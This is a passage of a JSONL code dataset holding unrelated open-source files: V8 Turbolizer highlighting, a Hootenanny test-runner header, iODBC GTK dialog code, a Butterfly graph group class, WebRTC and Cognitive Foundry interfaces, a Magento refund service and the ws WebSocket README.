BLOCK_HEADER_STYLE.block_id\n        };\n      }\n    }\n    const ARROW_STYLE = { css: 'kwd' };\n    let patterns = [\n      [\n        [/^--- BLOCK B\\d+/, BLOCK_HEADER_STYLE, 1],\n        [/^\\s+\\d+: /, ID_STYLE, 2],\n        [/^\\s+Goto/, GOTO_STYLE, 6],\n        [/^.*/, null, -1]\n      ],\n      [\n        [/^ +/, null],\n        [/^\\(deferred\\)/, BLOCK_HEADER_STYLE],\n        [/^B\\d+/, BLOCK_LINK_STYLE],\n        [/^<-/, ARROW_STYLE],\n        [/^->/, ARROW_STYLE],\n        [/^,/, null],\n        [/^---/, BLOCK_HEADER_STYLE, -1]\n      ],\n      // Parse opcode including []\n      [\n        [/^[A-Za-z0-9_]+(\\[.*\\])?$/, NODE_STYLE, -1],\n        [/^[A-Za-z0-9_]+(\\[.*\\])?/, NODE_STYLE, 3]\n      ],\n      // Parse optional parameters\n      [\n        [/^ /, null, 4],\n        [/^\\(/, null],\n        [/^\\d+/, ID_LINK_STYLE],\n        [/^, /, null],\n        [/^\\)$/, null, -1],\n        [/^\\)/, null, 4],\n      ],\n      [\n        [/^ -> /, ARROW_STYLE, 5],\n        [/^.*/, null, -1]\n      ],\n      [\n        [/^B\\d+$/, BLOCK_LINK_STYLE, -1],\n        [/^B\\d+/, BLOCK_LINK_STYLE],\n        [/^, /, null]\n      ],\n      [\n        [/^ -> /, ARROW_STYLE],\n        [/^B\\d+$/, BLOCK_LINK_STYLE, -1]\n      ]\n    ];\n    this.setPatterns(patterns);\n    this.setNodePositionMap(nodePositionMap);\n  }\n\n  initializeContent(data, rememberedSelection) {\n    super.initializeContent(data, rememberedSelection);\n    var graph = this;\n    var locations = [];\n    for (var id of rememberedSelection) {\n      locations.push({ node_id : id });\n    }\n    this.selectLocations(locations, true, false);\n  }\n\n  detachSelection() {\n    var selection = this.selection.detachSelection();\n    var s = new Set();\n    for (var i of selection) {\n      s.add(i.location.node_id);\n    };\n    return s;\n  }\n}\n"}
+{"text": "/*\n * This file is part of Hootenanny.\n *\n * Hootenanny is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see .\n *\n * --------------------------------------------------------------------\n *\n * The following copyright notices are generated automatically. If you\n * have a new notice to add, please use the format:\n * \" * @copyright Copyright ...\"\n * This will properly maintain the copyright information. DigitalGlobe\n * copyrights will be updated automatically.\n *\n * @copyright Copyright (C) 2015, 2017, 2018, 2019, 2020 DigitalGlobe (http://www.digitalglobe.com/)\n */\n#ifndef PERTY_TEST_RUNNER_H\n#define PERTY_TEST_RUNNER_H\n\n// hoot\n#include \n#include \n#include \n\n// Qt\n#include \n#include \n\nnamespace hoot\n{\n\nclass PertyTestRunResult;\nclass PertyMatchScorer;\n\n/**\n * Runs a PERTY test to generate a PERTY score with an option to vary a single PERTY input variable\n   (or multiple vars given the same value) across a number of test runs.  The scores are averaged\n   across simulation runs for each test runs and each compared to an expected score.\n */\nclass PertyTestRunner : public Configurable\n{\n\npublic:\n\n  PertyTestRunner();\n  virtual ~PertyTestRunner() = default;\n\n  /**\n    * Runs a PERTY test\n\n      @param referenceMapInputPath Path to the input OSM map file to run PERTY against\n      @param outputPath Output path for file and results\n    */\n  QList> runTest(const QString& referenceMapInputPath,\n                                                           const QString& outputPath);\n\n  virtual void setConfiguration(const Settings& conf) { _settings = conf; }\n\n  /**\n    Sets the number of PERTY test runs\n   */\n  void setNumTestRuns(int numRuns)\n  {\n    if (numRuns < 1)\n    {\n      throw HootException(\"Invalid number of test runs: \" + QString::number(numRuns));\n    }\n    _numTestRuns = numRuns;\n  }\n\n  /**\n    Sets the number of PERTY test simulations per test run\n   */\n  void setNumTestSimulations(int numSimulations)\n  {\n    if (numSimulations < 1)\n    {\n      throw HootException(\"Invalid number of test simulations: \" + QString::number(numSimulations));\n    }\n    _numTestSimulations = numSimulations;\n  }\n\n  /**\n     Sets the PERTY input variables to receive changing values per test run\n   */\n  void setDynamicVariables(const QStringList& dynamicVariables)\n  {\n    _dynamicVariables.clear();\n    foreach (QString var, dynamicVariables)\n    {\n      //this isn't the best check, since not all perty.* vars are numeric but will do for now\n      if (var.trimmed() != \"\")\n      {\n        if (!var.startsWith(\"perty.\"))\n        {\n          throw HootException(\"Only PERTY variables may be manipulated during a PERTY test (config options = perty.*\");\n        }\n        _dynamicVariables.append(var);\n      }\n    }\n  }\n\n  /**\n    Sets a starting value for the dynamic variables specified in the PERTY dynamic variables list\n   */\n  void setDynamicVariableStartValue(double startValue)\n  {\n    _dynamicVariableStartValue = startValue;\n  }\n\n  /**\n    Sets a per test run postive increment for the dynamic variables specified in the PERTY dynamic\n    variables list\n   */\n  void setDynamicVariableIncrement(double increment)\n  {\n    _dynamicVariableIncrement = increment;\n  }\n\n  /**\n    Sets a list of expected scores for each test run\n   */\n  void setExpectedScores(const QStringList& scores)\n  {\n    if (scores.size() < 1)\n    {\n      throw HootException(\"Invalid number of expected scores: \" + scores.size());\n    }\n    QList expectedScores;\n    for (int i = 0; i < scores.size(); i++)\n    {\n      bool ok;\n      expectedScores.append(scores[i].toDouble(&ok)) ;\n      if (!ok)\n      {\n        throw HootException(\"Error parsing expected score value: \" + scores[i]);\n      }\n    }\n    _expectedScores = expectedScores;\n  }\n\n  /**\n    Sets the maximum allowed amount a test run score may vary from an expected score while allowing\n    the test run to pass\n   */\n  void setAllowedScoreVariance(double scoreVariance)\n  {\n    if (scoreVariance > 1.0 || scoreVariance < 0.0)\n    {\n      throw HootException(\"Invalid allowed score variance: \" + QString::number(scoreVariance));\n    }\n    _allowedScoreVariance = scoreVariance;\n  }\n\n  /**\n    Sets a setting that determines whether the test runner marks a score as failing if its test\n    run score is better than its expected score\n   */\n  void setFailOnBetterScore(bool failOnBetterScore) { _failOnBetterScore = failOnBetterScore; }\n\n  /**\n    Sets a setting that determines whether stats are generated for each output map\n   */\n  void setGenerateMapStats(bool generateMapStats) { _generateMapStats = generateMapStats; }\n\nprivate:\n\n  int _numTestRuns;\n  int _numTestSimulations;\n  QStringList _dynamicVariables;\n  double _dynamicVariableStartValue;\n  double _dynamicVariableIncrement;\n\n  QList _expectedScores;\n  double _allowedScoreVariance;\n  bool _failOnBetterScore;\n\n  bool _generateMapStats;\n\n  Settings _settings;\n\n  std::shared_ptr _matchScorer;\n\n  void _writeStatsForOutputFiles(const QString& inputMapPath, const QString& sep);\n  void _writePlotFile(const QString& outputPath,\n                      const QList>& testRunResults);\n\n  //for testing purposes only\n  friend class PertyTestRunnerTest;\n  QList _testScores;\n  bool _returnTestScores;\n\n};\n\n}\n\n#endif // PERTY_TEST_RUNNER_H\n"}
+{"text": "/*\n *  messagebox.c\n *\n *  $Id$\n *\n *  The iODBC driver manager.\n *\n *  Copyright (C) 1996-2020 OpenLink Software \n *  All Rights Reserved.\n *\n *  This software is released under the terms of either of the following\n *  licenses:\n *\n *      - GNU Library General Public License (see LICENSE.LGPL)\n *      - The BSD License (see LICENSE.BSD).\n *\n *  Note that the only valid version of the LGPL license as far as this\n *  project is concerned is the original GNU Library General Public License\n *  Version 2, dated June 1991.\n *\n *  While not mandated by the BSD license, any patches you make to the\n *  iODBC source code may be contributed back into the iODBC project\n *  at your discretion. Contributions will benefit the Open Source and\n *  Data Access community as a whole. Submissions may be made at:\n *\n *      http://www.iodbc.org\n *\n *\n *  GNU Library Generic Public License Version 2\n *  ============================================\n *  This library is free software; you can redistribute it and/or\n *  modify it under the terms of the GNU Library General Public\n *  License as published by the Free Software Foundation; only\n *  Version 2 of the License dated June 1991.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Library General Public License for more details.\n *\n *  You should have received a copy of the GNU Library General Public\n *  License along with this library; if not, write to the Free\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\n *  The BSD License\n *  ===============\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *  1. Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *  2. Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in\n *     the documentation and/or other materials provided with the\n *     distribution.\n *  3. Neither the name of OpenLink Software Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL OPENLINK OR\n *  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n *  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n *  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n *  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n *  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n\n#include \"gui.h\"\n\n\nstatic gint\ndelete_event (GtkWidget *widget, GdkEvent *event)\n{\n  return FALSE;\n}\n\n\nstatic void\nmessage_ok_clicked (GtkWidget *widget, GtkWidget *message)\n{\n  gtk_signal_disconnect_by_func (GTK_OBJECT (message),\n      GTK_SIGNAL_FUNC (gtk_main_quit), NULL);\n  gtk_main_quit ();\n  gtk_widget_destroy (message);\n}\n\n\nvoid\ncreate_message (HWND hwnd, LPCSTR dsn, LPCSTR text)\n{\n  GtkWidget *message, *dialog_vbox1, *hbox1, *vbox1;\n  GtkWidget *l_message, *dialog_action_area1, *hbuttonbox1, *b_ok;\n  GtkAccelGroup *accel_group;\n  guint b_ok_key;\n  char msg[1024];\n\n  if (hwnd == NULL || !GTK_IS_WIDGET (hwnd))\n    return;\n\n  accel_group = gtk_accel_group_new ();\n\n  message = gtk_dialog_new ();\n  if (dsn)\n    sprintf (msg, \"Message on DSN %s\", dsn);\n  else\n    sprintf (msg, \"Message ...\");\n\n  gtk_object_set_data (GTK_OBJECT (message), \"message\", message);\n  gtk_window_set_title (GTK_WINDOW (message), msg);\n  gtk_widget_set_size_request (message, 400, 150);\n  gtk_window_set_position (GTK_WINDOW (message), GTK_WIN_POS_CENTER);\n  gtk_window_set_modal (GTK_WINDOW (message), TRUE);\n  gtk_window_set_default_size (GTK_WINDOW (message), 400, 150);\n  gtk_window_set_type_hint (GTK_WINDOW (message), GDK_WINDOW_TYPE_HINT_DIALOG);\n\n#if GTK_CHECK_VERSION(2,0,0)\n  gtk_widget_show (message);\n#endif\n\n  dialog_vbox1 = GTK_DIALOG (message)->vbox;\n  gtk_object_set_data (GTK_OBJECT (message), \"dialog_vbox1\", dialog_vbox1);\n  gtk_widget_show (dialog_vbox1);\n\n  hbox1 = gtk_hbox_new (FALSE, 6);\n  gtk_widget_ref (hbox1);\n  gtk_object_set_data_full (GTK_OBJECT (message), \"hbox1\", hbox1,\n      (GtkDestroyNotify) gtk_widget_unref);\n  gtk_widget_show (hbox1);\n  gtk_box_pack_start (GTK_BOX (dialog_vbox1), hbox1, TRUE, TRUE, 0);\n  gtk_container_set_border_width (GTK_CONTAINER (hbox1), 6);\n\n  vbox1 = gtk_vbox_new (TRUE, 0);\n  gtk_widget_ref (vbox1);\n  gtk_object_set_data_full (GTK_OBJECT (message), \"vbox1\", vbox1,\n      (GtkDestroyNotify) gtk_widget_unref);\n  gtk_widget_show (vbox1);\n  gtk_box_pack_start (GTK_BOX (hbox1), vbox1, TRUE, TRUE, 0);\n\n  l_message = gtk_label_new (\"\");\n  gtk_label_parse_uline (GTK_LABEL (l_message), (text) ? text : \"\");\n  gtk_widget_ref (l_message);\n  gtk_object_set_data_full (GTK_OBJECT (message), \"l_message\", l_message,\n      (GtkDestroyNotify) gtk_widget_unref);\n  gtk_widget_show (l_message);\n  gtk_box_pack_start (GTK_BOX (vbox1), l_message, FALSE, TRUE, 0);\n  gtk_label_set_justify (GTK_LABEL (l_message), GTK_JUSTIFY_LEFT);\n  gtk_label_set_line_wrap (GTK_LABEL (l_message), TRUE);\n\n  dialog_action_area1 = GTK_DIALOG (message)->action_area;\n  gtk_object_set_data (GTK_OBJECT (message), \"dialog_action_area1\",\n      dialog_action_area1);\n  gtk_widget_show (dialog_action_area1);\n  gtk_container_set_border_width (GTK_CONTAINER (dialog_action_area1), 5);\n\n  hbuttonbox1 = gtk_hbutton_box_new ();\n  gtk_widget_ref (hbuttonbox1);\n  gtk_object_set_data_full (GTK_OBJECT (message), \"hbuttonbox1\", hbuttonbox1,\n      (GtkDestroyNotify) gtk_widget_unref);\n  gtk_widget_show (hbuttonbox1);\n  gtk_box_pack_start (GTK_BOX (dialog_action_area1), hbuttonbox1, TRUE, TRUE,\n      0);\n  gtk_button_box_set_layout (GTK_BUTTON_BOX (hbuttonbox1), GTK_BUTTONBOX_END);\n  gtk_button_box_set_spacing (GTK_BUTTON_BOX (hbuttonbox1), 10);\n\n  b_ok = gtk_button_new_from_stock (\"gtk-ok\");\n  gtk_widget_ref (b_ok);\n  gtk_object_set_data_full (GTK_OBJECT (message), \"b_ok\", b_ok,\n      (GtkDestroyNotify) gtk_widget_unref);\n  gtk_widget_show (b_ok);\n  gtk_container_add (GTK_CONTAINER (hbuttonbox1), b_ok);\n  gtk_dialog_add_action_widget (GTK_DIALOG (message), b_ok, GTK_RESPONSE_OK);\n  GTK_WIDGET_SET_FLAGS (b_ok, GTK_CAN_DEFAULT);\n\n  /* Ok button events */\n  gtk_signal_connect (GTK_OBJECT (b_ok), \"clicked\",\n      GTK_SIGNAL_FUNC (message_ok_clicked), message);\n  /* Close window button events */\n  gtk_signal_connect (GTK_OBJECT (message), \"delete_event\",\n      GTK_SIGNAL_FUNC (delete_event), NULL);\n  gtk_signal_connect (GTK_OBJECT (message), \"destroy\",\n      GTK_SIGNAL_FUNC (gtk_main_quit), NULL);\n\n  gtk_window_add_accel_group (GTK_WINDOW (message), accel_group);\n\n  gtk_widget_show_all (message);\n  gtk_main ();\n}\n\nvoid\ncreate_messagew (HWND hwnd, LPCWSTR dsn, LPCWSTR text)\n{\n  LPSTR _dsn = NULL;\n  LPSTR _text = NULL;\n\n  _dsn = dm_SQL_WtoU8((SQLWCHAR*)dsn, SQL_NTS);\n  _text = dm_SQL_WtoU8((SQLWCHAR*)text, SQL_NTS);\n\n  create_message(hwnd, _dsn, _text);\n\n  if (_dsn)\n    free(_dsn);\n  if (_text)\n    free(_text);\n}\n"}
+{"text": "'use strict';\n\nimport './baseGroup.less';\n\nconst $ = require('jquery');\nconst _ = require('lodash');\n\nimport Group from '../interface/group';\nimport Endpoint from '../endpoint/baseEndpoint';\n\n// scope的比较\nimport ScopeCompare from '../utils/scopeCompare';\n\nclass BaseGroup extends Group {\n  constructor(opts) {\n    super(opts);\n    this.id = opts.id;\n    this.scope = opts.scope;\n    this.top = opts.top;\n    this.left = opts.left;\n    this.width = opts.width || 300;\n    this.height = opts.height || 150;\n    this.resize = opts.resize;\n    this.draggable = opts.draggable;\n    this.dom = null;\n    this.nodes = [];\n    this.options = opts.options;\n    // 鸭子辨识手动判断类型\n    this.__type = 'group';\n    this._global = opts._global;\n    this._on = opts._on;\n    this._emit = opts._emit;\n    this._container = null;\n    // endpoint 这部分需要考虑\n    this.endpoints = [];\n    this._endpointsData = opts.endpoints;\n  }\n  init() {\n    this.dom = this.draw({\n      id: this.id,\n      top: this.top,\n      left: this.left,\n      width: this.width,\n      height: this.height,\n      dom: this.dom,\n      options: this.options\n    });\n    this._addEventListener();\n  }\n  draw(obj) {\n    let _dom = obj.dom;\n    if (!_dom) {\n      _dom = $('
    ')\n        .attr('class', 'group')\n        .attr('id', obj.id);\n    }\n    let group = $(_dom);\n    \n    let titleDom = $('
    ')\n      .attr('class', 'title');\n    \n    if (_.get(this, 'options.title')) {\n      titleDom.text(_.get(this, 'options.title'));\n    }\n\n    group.append(titleDom);\n\n    this._container = $('
    ')\n      .attr('class', 'container');\n    \n    group.append(this._container);\n\n    // 默认resize打开\n    if (this.resize !== false) {\n      this.setResize(true, group);\n    }\n\n    if (obj.top !== undefined) {\n      group.css('top', obj.top + 'px');\n    }\n    if (obj.left !== undefined) {\n      group.css('left', obj.left + 'px');\n    }\n    if (obj.width !== undefined) {\n      group.css('width', obj.width + 'px');\n    }\n    if (obj.height !== undefined) {\n      group.css('height', obj.height + 'px');\n    }\n\n    this.updated && this.updated();\n    return group[0];\n  }\n  addNodes(nodes = [], isNotEventEmit) {\n    let _nodes = [];\n    nodes.forEach((item) => {\n      if (ScopeCompare(item.scope, this.scope, _.get(this, '_global.isScopeStrict'))) {\n        _nodes.push(item);\n      } else {\n        console.log(`nodeId为${item.id}的节点和groupId${this.id}的节点组scope值不符，无法加入`);\n      }\n    });\n    this.emit('InnerEvents', {\n      type: 'group:addNodes',\n      nodes: nodes,\n      group: this,\n      isNotEventEmit\n    });\n  }\n  addNode(node) {\n    this.addNodes([node]);\n  }\n  removeNodes(nodes = [], isNotEventEmit) {\n    let rmNodes = [];\n    this.nodes.forEach((item) => {\n      let _node = _.find(nodes, (_node) => {\n        return _node.id === item.id;\n      });\n      if (_node) {\n        rmNodes.push(_node);\n      }\n    })\n    // this.nodes.forEach((item) => {\n    //   let _node = _.find(nodes, (_node) => {\n    //     return _node.id === item.id;\n    //   });\n    //   if (_node) {\n    //     rmNodes.push(_node);\n    //   }\n    // });\n    this.emit('InnerEvents', {\n      type: 'group:removeNodes',\n      group: this,\n      nodes: rmNodes,\n      isNotEventEmit\n    });\n    if (!isNotEventEmit) {\n      this.emit('events', {\n        type: 'system.group.removeNodes',\n        group: this,\n        nodes: rmNodes,\n        group: targetGroup\n      });\n      this.emit('system.group.removeNodes', {\n        group: this,\n        nodes: rmNodes,\n        group: targetGroup\n      });\n    }\n    return rmNodes;\n  }\n  removeNode(node) {\n    return this.removeNodes([node]);\n  }\n  setResize(flat, container = this.dom, resizeDom) {\n    let mouseDown = (event) => {\n      const LEFT_KEY = 0;\n      if (event.button !== LEFT_KEY) {\n        return;\n      }\n      event.preventDefault();\n      // event.stopPropagation();\n      this.emit('InnerEvents', {\n        type: 'group:resize',\n        group: this\n      });\n    };\n    if (flat) {\n      let icon = null;\n      if (resizeDom) {\n        icon = $(resizeDom);\n        icon.addClass('butterfly-group-icon-resize');\n      } else {\n        icon = $('')\n      }\n      icon.appendTo(container);\n      icon.on('mousedown', mouseDown);\n    }\n  }\n  setSize(width = this.width, height = this.height) {\n    this.width = width;\n    this.height = height;\n    $(this.dom).css('width', this.width).css('height', this.height);\n  }\n  remove() {\n    this.emit('InnerEvents', {\n      type: 'group:delete',\n      data: this\n    });\n  }\n  _moveTo(x, y) {\n    // 自身移动\n    $(this.dom).css('top', y).css('left', x);\n    // 所在节点的锚点移动\n    this.nodes.forEach((node) => {\n      node.endpoints.forEach((point) => {\n        point.updatePos();\n      });\n    });\n    // 节点组的锚点移动\n    this.endpoints.forEach((item) => {\n      item.moveTo(x - this.left + item._left, y - this.top + item._top);\n    });\n    this.top = y;\n    this.left = x;\n  }\n  moveTo(x, y, isNotEventEmit) {\n    this.emit('InnerEvents', {\n      type: 'group:move',\n      group: this,\n      x,\n      y,\n      isNotEventEmit\n    });\n  }\n  focus() {\n\n  }\n  unFocus() {\n    \n  }\n  getWidth() {\n    return this.width;\n  }\n  getHeight() {\n    return this.height;\n  }\n  getEndpoint(pointId) {\n    return _.find(this.endpoints, point => pointId === point.id);\n  }\n  _appendNodes(nodes = []) {\n    nodes.forEach((item) => {\n      item._group = this;\n      item.group = this.id;\n      $(this.dom).append(item.dom);\n      this.nodes.push(item);\n    });\n  }\n  _addEventListener() {\n    $(this.dom).on('click', (e) => {\n      e.preventDefault();\n      e.stopPropagation();\n      this.emit('system.group.click', {\n        group: this\n      });\n      this.emit('events', {\n        type: 'group:click',\n        group: this\n      });\n    });\n    $(this.dom).on('mousedown', (e) => {\n      // 兼容节点冒泡上来的事件\n      let isChildNodeMoving = _.some(this.nodes, (item) => {\n        return item._isMoving;\n      });\n      if (isChildNodeMoving) {\n        return;\n      }\n      // 兼容resize按钮冒泡上来的事件\n      if($(e.target).attr('class').indexOf('butterfly-group-icon-resize') !== -1) {\n        return;\n      }\n\n      const LEFT_KEY = 0;\n      if (e.button !== LEFT_KEY) {\n        return;\n      }\n      e.preventDefault();\n      // e.stopPropagation();\n      if (this.draggable) {\n        this.emit('InnerEvents', {\n          type: 'group:dragBegin',\n          data: this\n        });\n      }\n    });\n  }\n  _createEndpoint(isInited) {\n    if (isInited) {\n      this.endpoints.forEach(item => this.addEndpoint(item, isInited));\n    } else if (this._endpointsData) {\n      this._endpointsData.map(item => this.addEndpoint(item));\n    }\n  }\n  addEndpoint(obj, isInited) {\n    if (isInited) {\n      this.emit('InnerEvents', {\n        type: 'group:addEndpoint',\n        data: obj,\n        isInited\n      });\n      return obj;\n    }\n    // 这部分可能还需要想一下\n    const EndpointClass = obj.Class || Endpoint;\n    const endpoint = new EndpointClass(_.assign({\n      _on: this._on,\n      _emit: this._emit,\n      _node: this,\n      _global: this._global,\n    }, obj));\n\n    this.emit('InnerEvents', {\n      type: 'group:addEndpoint',\n      data: endpoint,\n    });\n    this.endpoints.push(endpoint);\n    return endpoint;\n  }\n  emit(type, data) {\n    super.emit(type, data);\n    this._emit(type, data);\n  }\n  destroy(isNotEventEmit) {\n    this.endpoints.forEach((item) => {\n      !item._isInitedDom && item.destroy();\n    });\n    $(this.dom).off();\n    $(this.dom).remove();\n    if (!isNotEventEmit) {\n      this._emit('system.group.delete', {\n        group: this\n      });\n      this._emit('events', {\n        type: 'group:delete',\n        group: this\n      });\n      this.removeAllListeners();\n    }\n  }\n}\n\nexport default BaseGroup;\n"}
+{"text": "Lets sing!\n♫♪♬♩\nEat food\n🍅🍕\n"}
+{"text": "/*\n *  Copyright 2016 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n */\n\n#ifndef P2P_BASE_CANDIDATEPAIRINTERFACE_H_\n#define P2P_BASE_CANDIDATEPAIRINTERFACE_H_\n\nnamespace cricket {\n\nclass Candidate;\n\nclass CandidatePairInterface {\n public:\n  virtual ~CandidatePairInterface() {}\n\n  virtual const Candidate& local_candidate() const = 0;\n  virtual const Candidate& remote_candidate() const = 0;\n};\n\n}  // namespace cricket\n\n#endif  // P2P_BASE_CANDIDATEPAIRINTERFACE_H_\n"}
+{"text": "/*\n * File:                MultivariateRegression.java\n * Authors:             Kevin R. Dixon\n * Company:             Sandia National Laboratories\n * Project:             Cognitive Foundry\n * \n * Copyright Apr 23, 2012, Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the U.S. Government.\n * Export of this program may require a license from the United States\n * Government. See CopyrightHistory.txt for complete details.\n * \n */\n\npackage gov.sandia.cognition.learning.algorithm.regression;\n\nimport gov.sandia.cognition.annotation.PublicationReference;\nimport gov.sandia.cognition.annotation.PublicationType;\nimport gov.sandia.cognition.evaluator.Evaluator;\nimport gov.sandia.cognition.math.matrix.Vectorizable;\n\n/**\n * A regression algorithm that maps one or more independent (input) variables\n * onto multiple output variables.\n * @author Kevin R. Dixon\n * @since  3.4.2\n * @param    The type of input data in the input-output pair that\n *      the learner can learn from. The {@code Evaluator} learned from the\n *      algorithm also takes this as the input parameter.\n * @param    The type of object created by the learning algorithm.\n */\n@PublicationReference(\n    author=\"Wikipedia\",\n    title=\"General linear model\",\n    type=PublicationType.WebPage,\n    year=2012,\n    url=\"http://en.wikipedia.org/wiki/Multivariate_regression\",\n    notes={\n        \"The only article on Multivariate Regression I could find only talks about the linear case.\",\n        \"This interface, however, can deal with the nonlinear case as well.\"\n    }\n)\npublic interface MultivariateRegression>\n    extends Regression\n{    \n}\n"}
+{"text": "\n\n  \n    \n    \n      Chapter 6. Installing Basic System Software\n    \n    \n    \n    \n    \n  \n  \n    
    \n      
    \n        Linux From Scratch - Version 8.0\n      
    \n      
    \n        Part III. Building the LFS System\n      
    \n      
      \n        
    • \n          Prev\n          
      \n            Building the LFS System\n          
      \n        
      • \n        
    • \n          Next\n          
      \n            Introduction\n          
      \n        
      • \n        
    • \n          Up\n        
      • \n        
    • \n          Home\n        
      • \n      
    \n    
    \n    
    \n      
    \n        6.\n        Installing Basic System Software\n      
    \n      
    \n        
    \n          Table of Contents\n        
    \n        \n      
    \n    
    \n    
    \n      
      \n        
    • \n          Prev\n          
      \n            Building the LFS System\n          
      \n        
      • \n        
    • \n          Next\n          
      \n            Introduction\n          
      \n        
      • \n        
    • \n          Up\n        
      • \n        
    • \n          Home\n        
      • \n      
    \n    
    \n  \n\n"}
+{"text": "resourceConnection = $resourceConnection;\n        $this->orderStateResolver = $orderStateResolver;\n        $this->orderRepository = $orderRepository;\n        $this->invoiceRepository = $invoiceRepository;\n        $this->validator = $validator;\n        $this->creditmemoRepository = $creditmemoRepository;\n        $this->refundAdapter = $refundAdapter;\n        $this->creditmemoDocumentFactory = $creditmemoDocumentFactory;\n        $this->notifier = $notifier;\n        $this->config = $config;\n        $this->logger = $logger;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    public function execute(\n        $invoiceId,\n        array $items = [],\n        $isOnline = false,\n        $notify = false,\n        $appendComment = false,\n        \\Magento\\Sales\\Api\\Data\\CreditmemoCommentCreationInterface $comment = null,\n        \\Magento\\Sales\\Api\\Data\\CreditmemoCreationArgumentsInterface $arguments = null\n    ) {\n        $connection = $this->resourceConnection->getConnection('sales');\n        $invoice = $this->invoiceRepository->get($invoiceId);\n        $order = $this->orderRepository->get($invoice->getOrderId());\n        $creditmemo = $this->creditmemoDocumentFactory->createFromInvoice(\n            $invoice,\n            $items,\n            $comment,\n            ($appendComment && $notify),\n            $arguments\n        );\n\n        $validationMessages = $this->validator->validate(\n            $invoice,\n            $order,\n            $creditmemo,\n            $items,\n            $isOnline,\n            $notify,\n            $appendComment,\n            $comment,\n            $arguments\n        );\n        if ($validationMessages->hasMessages()) {\n            throw new \\Magento\\Sales\\Exception\\DocumentValidationException(\n                __(\"Creditmemo Document Validation Error(s):\\n\" . implode(\"\\n\", $validationMessages->getMessages()))\n            );\n        }\n        $connection->beginTransaction();\n        try {\n            $creditmemo->setState(\\Magento\\Sales\\Model\\Order\\Creditmemo::STATE_REFUNDED);\n            $order->setCustomerNoteNotify($notify);\n            $order = $this->refundAdapter->refund($creditmemo, $order, $isOnline);\n            $order->setState(\n                $this->orderStateResolver->getStateForOrder($order, [])\n            );\n            $order->setStatus($this->config->getStateDefaultStatus($order->getState()));\n            if (!$isOnline) {\n                $invoice->setIsUsedForRefund(true);\n                $invoice->setBaseTotalRefunded(\n                    $invoice->getBaseTotalRefunded() + $creditmemo->getBaseGrandTotal()\n                );\n            }\n            $this->invoiceRepository->save($invoice);\n            $order = $this->orderRepository->save($order);\n            $creditmemo = $this->creditmemoRepository->save($creditmemo);\n            $connection->commit();\n        } catch (\\Exception $e) {\n            $this->logger->critical($e);\n            $connection->rollBack();\n            throw new \\Magento\\Sales\\Exception\\CouldNotRefundException(\n                __('Could not save a Creditmemo, see error log for details')\n            );\n        }\n        if ($notify) {\n            if (!$appendComment) {\n                $comment = null;\n            }\n            $this->notifier->notify($order, $creditmemo, $comment);\n        }\n\n        return $creditmemo->getEntityId();\n    }\n}\n"}
+{"text": "# ws: a node.js websocket library\n\n[![Build Status](https://travis-ci.org/websockets/ws.svg?branch=master)](https://travis-ci.org/websockets/ws)\n\n`ws` is a simple to use WebSocket implementation, up-to-date against RFC-6455,\nand [probably the fastest WebSocket library for node.js][archive].\n\nPasses the quite extensive Autobahn test suite. See http://websockets.github.com/ws\nfor the full reports.\n\n## Protocol support\n\n* **Hixie draft 76** (Old and deprecated, but still in use by Safari and Opera.\n  Added to ws version 0.4.2, but server only. Can be disabled by setting the\n  `disableHixie` option to true.)\n* **HyBi drafts 07-12** (Use the option `protocolVersion: 8`)\n* **HyBi drafts 13-17** (Current default, alternatively option `protocolVersion: 13`)\n\n### Installing\n\n```\nnpm install --save ws\n```\n\n### Sending and receiving text data\n\n```js\nvar WebSocket = require('ws');\nvar ws = new WebSocket('ws://www.host.com/path');\n\nws.on('open', function open() {\n  ws.send('something');\n});\n\nws.on('message', function(data, flags) {\n  // flags.binary will be set if a binary data is received.\n  // flags.masked will be set if the data was masked.\n});\n```\n\n### Sending binary data\n\n```js\nvar WebSocket = require('ws');\nvar ws = new WebSocket('ws://www.host.com/path');\n\nws.on('open', function open() {\n  var array = new Float32Array(5);\n\n  for (var i = 0; i < array.length; ++i) {\n    array[i] = i / 2;\n  }\n\n  ws.send(array, { binary: true, mask: true 